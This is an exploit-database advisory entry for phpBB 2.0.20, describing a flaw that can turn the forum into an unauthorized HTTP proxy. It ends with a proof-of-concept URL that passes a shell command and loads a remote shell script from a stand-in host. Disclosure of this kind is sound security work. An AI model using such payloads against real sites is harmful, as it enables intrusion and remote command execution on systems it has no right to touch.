phpBB 2.0.20 - Unauthorized HTTP Proxy

EDB-ID:

27863


Author:

rgod

Type:

webapps


Platform:

PHP

Date:

2006-05-12


source: https://www.securityfocus.com/bid/17965/info

phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy.

An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy.

http://www.example.com/somescript.php?cmd=ls%20-la&xpl=http://www.example2.com/someshell.txt